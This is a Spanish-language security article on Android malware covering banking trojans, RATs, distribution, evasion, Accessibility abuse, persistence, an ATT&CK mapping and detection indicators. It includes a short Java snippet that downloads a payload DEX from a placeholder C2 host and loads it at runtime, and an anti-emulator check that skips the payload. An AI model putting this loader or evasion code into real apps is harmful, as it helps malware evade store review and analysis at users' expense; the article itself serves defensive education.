Malware Android: Taxonomía, Técnicas de Evasión y Persistence

Android como campo de batalla

Android domina el mercado global de smartphones con más del 70% de cuota. Esta prevalencia, combinada con un ecosistema más abierto que iOS y una fragmentación significativa en versiones y fabricantes, lo convierte en el objetivo principal del malware móvil. Entender el modelo de seguridad de Android, sus fortalezas y sus debilidades estructurales es requisito previo para analizar las técnicas que el malware utiliza para comprometerlo.

Este artículo profundiza en la taxonomía del malware Android, las técnicas de evasión que utilizan para burlar los controles de seguridad, y los mecanismos de persistence que emplean para mantenerse activos en el dispositivo.

Modelo de seguridad de Android en profundidad

Application sandbox

Cada aplicación Android se ejecuta en su propio proceso Linux con un UID (User ID) único asignado durante la instalación. Este aislamiento significa que:

• Una app no puede leer los archivos de otra app directamente.
• Cada app tiene su propio directorio de datos en /data/data/<package_name>/.
• La comunicación entre apps requiere mecanismos explícitos: Intents, Content Providers o Bound Services con permisos declarados.

El sandbox se aplica a nivel de kernel Linux, no a nivel de framework. Esto proporciona una capa de seguridad que el malware no puede eludir simplemente engañando al framework de Android: necesita una vulnerabilidad del kernel o permisos otorgados por el usuario.

Sistema de permisos

Android utiliza un sistema de permisos declarativos en el AndroidManifest.xml:

Permisos normales (se conceden automáticamente): INTERNET, ACCESS_NETWORK_STATE, VIBRATE. No requieren aprobación explícita del usuario.

Permisos peligrosos (runtime permissions desde Android 6.0): READ_CONTACTS, CAMERA, READ_SMS, ACCESS_FINE_LOCATION. Requieren aprobación explícita en tiempo de ejecución. Se agrupan en categorías (Contactos, Cámara, Ubicación, etc.).

Permisos de firma (signature permissions): Solo disponibles para apps firmadas con el mismo certificado que la app que declaró el permiso. Usados por el sistema y apps del fabricante.

Permisos especiales: SYSTEM_ALERT_WINDOW (dibujar sobre otras apps), BIND_ACCESSIBILITY_SERVICE (servicio de accesibilidad), DEVICE_ADMIN (administrador del dispositivo). Requieren activación manual en Configuración y son los más abusados por malware.

SELinux en Android

Android ejecuta SELinux en modo enforcing desde la versión 5.0 (Lollipop). Esto aplica políticas de control de acceso obligatorio (MAC) además del control de acceso discrecional (DAC) de Linux.

Las políticas SELinux de Android definen contextos de seguridad para cada proceso y recurso. Incluso si un proceso obtiene permisos de root, SELinux puede impedir acciones no contempladas en la política. Esto limita significativamente el impacto de exploits de escalación de privilegios.

Verified Boot y dm-verity

La cadena de arranque verificado asegura que el firmware, bootloader, kernel y particiones del sistema no han sido modificados. dm-verity verifica la integridad de cada bloque de la partición del sistema en tiempo de lectura. Si se detecta una modificación, el dispositivo puede negarse a arrancar o mostrar una advertencia.

Google Play Protect

Google Play Protect opera en dos niveles:

Pre-instalación: Las apps de Google Play se analizan antes de su publicación con modelos de ML y revisión manual para categorías sensibles.

Post-instalación: Play Protect escanea periódicamente las apps instaladas en el dispositivo, incluyendo APKs side-loaded. Desde 2023, realiza análisis en tiempo real de APKs desconocidos antes de la instalación.

Taxonomía del malware Android

Banking trojans

Los banking trojans son la categoría más sofisticada del malware Android actual. Sus capacidades típicas:

• Overlay attacks: Detectan cuando el usuario abre una app bancaria y superponen una ventana falsa idéntica para capturar credenciales.
• SMS interception: Leen SMS entrantes para capturar códigos OTP de autenticación de dos factores.
• Keylogging: Via Accessibility Service, registran todo el texto introducido.
• Screen recording/streaming: Graban la pantalla o la transmiten en tiempo real al atacante (VNC remoto).
• Push notification interception: Leen notificaciones de apps bancarias para obtener códigos de verificación.

Familias representativas: Xenomorph, Vultur, Hook, Anatsa, Octo, Godfather, SharkBot.

Information stealers

Los stealers móviles se centran en exfiltrar datos del dispositivo:

• Contactos, registros de llamadas, SMS.
• Archivos multimedia (fotos, vídeos).
• Datos de aplicaciones (tokens de sesión, bases de datos SQLite).
• Credenciales almacenadas en el navegador.
• Información del dispositivo (IMEI, IMSI, modelo, operador).

RATs (Remote Access Trojans)

Los RATs proporcionan control remoto total. A diferencia de los banking trojans (enfocados en credenciales financieras), los RATs son herramientas genéricas que permiten al atacante:

• Instalar y desinstalar aplicaciones.
• Ejecutar comandos del sistema.
• Activar cámara y micrófono.
• Capturar la pantalla en tiempo real.
• Descargar y exfiltrar archivos.

SpyNote, AhMyth y Androrat son las familias más difundidas, con código fuente disponible públicamente.

Adware y fraude publicitario

El adware móvil genera ingresos ilícitos a través de publicidad fraudulenta:

• Ad injection: Inyecta anuncios en apps y navegadores.
• Click fraud: Genera clics en anuncios de forma invisible al usuario.
• SDK abuse: Utiliza SDKs publicitarios legítimos con configuraciones fraudulentas.
• Hidden ads: Muestra anuncios en ventanas invisibles o fuera de pantalla para generar impresiones sin que el usuario lo perciba.

Ransomware móvil

El ransomware Android opera generalmente como screen locker (bloquea la pantalla con una ventana a pantalla completa que impide el uso del dispositivo) o como cifrador de archivos accesibles (fotos, documentos en almacenamiento externo).

DoubleLocker combina ambas técnicas: cifra archivos accesibles y cambia el PIN del dispositivo.

Cryptominers

Aplicaciones que utilizan los recursos del dispositivo (CPU/GPU) para minar criptomonedas sin conocimiento del usuario. El impacto principal es la degradación del rendimiento, el consumo excesivo de batería y el desgaste acelerado del hardware.

Distribución: cómo llega el malware al dispositivo

Bypass de Google Play Store

El bypass de los controles de Google Play es un reto constante para los actores de amenazas. Las técnicas documentadas:

Dropper apps (versioning attack). La primera versión publicada es completamente limpia y funcional. Pasa la revisión de Google sin problemas. Una vez acumulada una base de usuarios, una actualización posterior introduce un mecanismo de descarga del payload malicioso desde un C2.

Ejecución retardada. El comportamiento malicioso se activa tras un período de espera (72 horas, 7 días) o tras un número mínimo de arranques del dispositivo. Esto evita la detección en los análisis automatizados que ejecutan la app por un tiempo limitado.

Activación geográfica (geofencing). El malware comprueba la ubicación del dispositivo (mediante operador de red, código de país de la SIM o IP) y solo se activa en los países objetivo. Esto evita la detección en los países donde Google concentra sus análisis.

Carga dinámica de código. El APK no contiene código malicioso. En su lugar, descarga archivos DEX o librerías nativas desde un C2 y los ejecuta en tiempo de ejecución mediante DexClassLoader o System.loadLibrary().

Ofuscación y anti-análisis. Packing, cifrado de strings, detección de emulador, y código innecesario para dificultar el análisis estático y dinámico.

Side-loading

La instalación de APKs fuera de Google Play requiere que el usuario active "Fuentes desconocidas" (o, desde Android 8, otorgue permisos de instalación por app). Los vectores de distribución para side-loading:

• Smishing: Enlaces en SMS que dirigen a descargas de APKs maliciosos.
• Sitios web falsos: Páginas que suplantan apps legítimas o tiendas oficiales.
• Foros y Telegram: Canales que distribuyen APKs modificados de apps populares.
• QR codes maliciosos: Códigos QR en ubicaciones físicas o publicaciones que dirigen a descargas.

Tiendas alternativas

Samsung Galaxy Store, Huawei AppGallery, Amazon Appstore y tiendas regionales tienen criterios de revisión variables. En algunos casos, las apps maliciosas permanecen disponibles durante semanas antes de ser eliminadas.

Técnicas de evasión

Packing y ofuscación

El packing protege el código DEX del análisis estático. Los packers más utilizados en malware Android:

• Packers comerciales: Jiagu (Qihoo 360), Bangcle, Tencent Legu. Originalmente diseñados para proteger apps legítimas, son abusados por malware.
• Packers custom: Los operadores MaaS de gama alta desarrollan sus propios packers que cifran el código DEX y lo descifran solo en memoria durante la ejecución.

La ofuscación complementa el packing:

• ProGuard/R8: Renombrado de clases, métodos y variables. Básico pero efectivo contra análisis manual.
• String encryption: Las strings (URLs de C2, nombres de permisos, patrones de overlay) se almacenan cifradas y se descifran en tiempo de ejecución.
• Control flow obfuscation: Inserta código muerto, reordena bloques y añade predicados opacos para dificultar la decompilación.
• Reflection: Las llamadas a APIs sensibles se realizan mediante reflexión Java para evitar la detección por análisis estático de llamadas a API.

Dynamic code loading

El dynamic code loading es la técnica de evasión más efectiva contra los escaneos de tiendas de aplicaciones:

// Ejemplo conceptual (simplificado)
// El APK descarga un archivo DEX desde el C2
File dexFile = downloadFromC2("https://c2.example.com/payload.dex");

// Carga el DEX en tiempo de ejecución
DexClassLoader loader = new DexClassLoader(
    dexFile.getAbsolutePath(),
    getDir("dex", 0).getAbsolutePath(),
    null,
    getClassLoader()
);

// Instancia la clase maliciosa
Class<?> payloadClass = loader.loadClass("com.malware.Payload");
Object payload = payloadClass.newInstance();

Variantes de esta técnica:

• Multi-stage loaders: El primer DEX descarga un segundo DEX que contiene el payload real.
• Cifrado del DEX: El archivo descargado está cifrado con una clave derivada del dispositivo (ANDROID_ID, IMEI) para dificultar el análisis offline.
• WebView JavaScript bridge: El código malicioso se ejecuta como JavaScript en un WebView oculto, comunicándose con el código Java nativo mediante interfaces bridge.

Técnicas anti-emulador

El malware detecta entornos de análisis para evitar ser analizado:

Propiedades del sistema:

// Detección de emulador por propiedades del Build
String fingerprint = Build.FINGERPRINT;
String model = Build.MODEL;
String manufacturer = Build.MANUFACTURER;
String hardware = Build.HARDWARE;

if (fingerprint.contains("generic") ||
    model.contains("google_sdk") ||
    model.contains("Emulator") ||
    model.contains("Android SDK") ||
    manufacturer.contains("Genymotion") ||
    hardware.contains("goldfish") ||
    hardware.contains("ranchu")) {
    // Probablemente un emulador, no ejecutar payload
    return;
}

Sensores físicos: Los emuladores carecen de sensores físicos reales. El malware comprueba si el acelerómetro, giroscopio o sensor de proximidad reportan valores estáticos (señal de emulador) o dinámicos (dispositivo real).

Información de red: Verificar la presencia de operador de red, IMSI, número de teléfono. Los emuladores suelen tener valores vacíos o genéricos.

Timing checks: Ejecutar operaciones criptográficas y medir el tiempo. Los emuladores son significativamente más lentos que el hardware real.

Detección de herramientas de análisis: Buscar la presencia de Frida, Xposed, root, apps de análisis como Drozer o apps de VPN/proxy que podrían indicar interceptación de tráfico.

Anti-análisis dinámico

• Detección de depuradores: Comprobar Debug.isDebuggerConnected() y android.os.Debug.waitingForDebugger().
• Detección de root: Buscar el binario su, comprobar propiedades ro.debuggable, verificar la presencia de Magisk o SuperSU.
• Detección de Frida: Buscar el puerto por defecto de Frida (27042), comprobar la presencia de libfrida en los mapas de memoria del proceso.
• Detección de Xposed: Comprobar la presencia de clases Xposed en el classpath.

Mecanismos de persistence

Device Administrator

La API de Device Administration de Android permite a las aplicaciones solicitar privilegios elevados. Si el usuario otorga estos privilegios:

• La app no puede ser desinstalada directamente (primero hay que revocar el privilegio de administrador en Configuración).
• La app puede cambiar el PIN de la pantalla de bloqueo.
• La app puede cifrar el almacenamiento del dispositivo.
• La app puede bloquear la pantalla.

El ransomware Android abusa frecuentemente de esta API. El flujo típico: la app solicita permisos de administrador con un mensaje engañoso y, una vez obtenidos, bloquea la pantalla y exige el pago.

Google ha deprecado partes de esta API en versiones recientes y ha añadido advertencias más visibles al activar Device Admin.

Abuso de Accessibility Services

Los Accessibility Services son el mecanismo más explotado por el malware Android moderno. Un servicio de accesibilidad puede:

• Leer el contenido de la pantalla: Acceder al texto de cualquier app visible, incluyendo campos de contraseña (el malware lee el texto antes de que se enmascara).
• Realizar acciones en la UI: Hacer clic en botones, rellenar campos, desplazarse por la pantalla. Esto permite al malware aceptar permisos automáticamente, instalar otras apps, o interactuar con apps bancarias.
• Interceptar notificaciones: Leer el contenido de todas las notificaciones, incluyendo códigos OTP de bancos.
• Keylogging: Registrar cada pulsación de tecla mediante eventos AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED.

El flujo de abuso típico en banking trojans:

1. La app solicita al usuario que active el servicio de accesibilidad con un mensaje persuasivo ("Active el servicio para mejorar la experiencia").
2. Una vez activado, el malware tiene acceso a toda la interfaz de usuario del sistema.
3. El malware monitoriza las apps abiertas. Cuando detecta una app bancaria target, superpone un overlay con un formulario falso.
4. Las credenciales capturadas se envían al C2.
5. Si llega un SMS con un código OTP, el malware lo lee vía notificación o SMS y lo reenvía automáticamente.

Google ha implementado restricciones progresivas:

• Desde Android 12: restricciones al uso de FLAG_SECURE que impide la captura de pantalla en apps bancarias.
• Desde Android 13: restricciones a la instalación de apps que solicitan Accessibility Service desde fuentes side-loaded.
• Play Store review reforzada para apps que solicitan BIND_ACCESSIBILITY_SERVICE.

Sin embargo, el abuso continúa porque el usuario puede activar manualmente el servicio.

Notification Listener Service

El NotificationListenerService permite a una app leer todas las notificaciones del sistema. El malware utiliza este servicio como alternativa al acceso a SMS para capturar códigos OTP enviados como notificaciones push por apps bancarias.

A diferencia de los Accessibility Services, los Notification Listeners no pueden interactuar con la UI, por lo que se utilizan como complemento.

Persistence mediante receivers y services

BOOT_COMPLETED Receiver: Un BroadcastReceiver registrado para android.intent.action.BOOT_COMPLETED se ejecuta automáticamente cuando el dispositivo arranca. El malware lo utiliza para reiniciar sus servicios de monitorización.

Foreground Service: Un servicio con notificación persistente (aunque puede ser una notificación de mínima visibilidad) que el sistema prioriza y no mata por falta de memoria.

WorkManager / AlarmManager: APIs de programación de tareas que permiten al malware ejecutar código periódicamente, incluso si la app principal no está activa. Desde Android 12, las restricciones a AlarmManager.setExactAndAllowWhileIdle() limitan la precisión, pero no eliminan la capacidad.

Auto-start en fabricantes: Fabricantes como Xiaomi, Huawei y Oppo tienen sistemas propietarios de gestión de batería que pueden matar servicios en segundo plano. El malware incluye instrucciones para que el usuario lo añada a la lista de apps excluidas de la optimización de batería.

Mapeo ATT&CK Mobile

Las técnicas más utilizadas por malware Android mapeadas al framework MITRE ATT&CK for Mobile:

Initial Access

Técnica	ID	Uso
Deliver Malicious App via Authorized App Store	T1475	Dropper apps en Google Play
Deliver Malicious App via Other Means	T1476	Side-loading via smishing, webs falsas

Persistence

Técnica	ID	Uso
Boot or Logon Initialization Scripts	T1398	BOOT_COMPLETED receiver
Foreground Persistence	T1541	Foreground services persistentes

Privilege Escalation

Técnica	ID	Uso
Abuse Elevation Control Mechanism	T1626	Device Admin API abuse

Defense Evasion

Técnica	ID	Uso
Obfuscated Files or Information	T1406	Packing, string encryption
Download New Code at Runtime	T1407	Dynamic DEX loading
Virtualization/Sandbox Evasion	T1633	Anti-emulador checks
Masquerading	T1655	Apps que suplantan apps legítimas

Credential Access

Técnica	ID	Uso
Input Capture	T1417	Keylogging via Accessibility Service
Access Notifications	T1517	Notification Listener para OTPs

Collection

Técnica	ID	Uso
Screen Capture	T1513	Grabación de pantalla (VNC)
Access Contact List	T1432	Exfiltración de contactos
Access Call Log	T1433	Lectura del registro de llamadas
Capture SMS Messages	T1412	Intercepción de SMS (OTP)

Command and Control

Técnica	ID	Uso
Web Service	T1481	C2 via HTTPS a dominios propios
Encrypted Channel	T1521	Comunicación cifrada con C2

Exfiltration

Técnica	ID	Uso
Exfiltration Over C2 Channel	T1646	Envío de datos al C2

Indicadores de detección

Permisos sospechosos en combinación

Una app que solicita la siguiente combinación de permisos debe considerarse altamente sospechosa:

• RECEIVE_SMS + READ_SMS + SEND_SMS (intercepción de SMS)
• BIND_ACCESSIBILITY_SERVICE + INTERNET (accesibilidad con exfiltración)
• SYSTEM_ALERT_WINDOW + BIND_ACCESSIBILITY_SERVICE (overlays + control de UI)
• BIND_DEVICE_ADMIN + INTERNET (administrador con C2)
• READ_CONTACTS + READ_CALL_LOG + READ_SMS + INTERNET (spyware)

Indicadores en el comportamiento de red

• Comunicaciones periódicas a dominios recién registrados.
• Uso de DNS-over-HTTPS (DoH) para resolver dominios C2.
• Tráfico a IPs en rangos asociados a hosting bulletproof.
• Beaconing con intervalos regulares (heartbeat al C2).
• Exfiltración en ráfagas tras captura de credenciales.

Indicadores en el dispositivo

• Consumo anómalo de batería por servicios en segundo plano.
• Notificaciones persistentes de baja prioridad (foreground services).
• Apps con permisos de accesibilidad activados que no son apps legítimas de accesibilidad.
• Device Admin activado para apps no corporativas (no MDM).
• Presencia de APKs descargados en /sdcard/Download/ con nombres genéricos.

Recursos

• MITRE ATT&CK for Mobile (matriz de técnicas para plataformas móviles)
• Android Security Bulletin (parches de seguridad mensuales)
• Android Developer: App Security Best Practices (guía oficial de seguridad)
• OWASP Mobile Security Testing Guide (metodología de testing)
• Google Play Protect (documentación del sistema de protección)
• Frida (framework de instrumentación dinámica)
• JADX (decompilador DEX a Java)
• MalwareIntel (plataforma de inteligencia sobre familias de malware)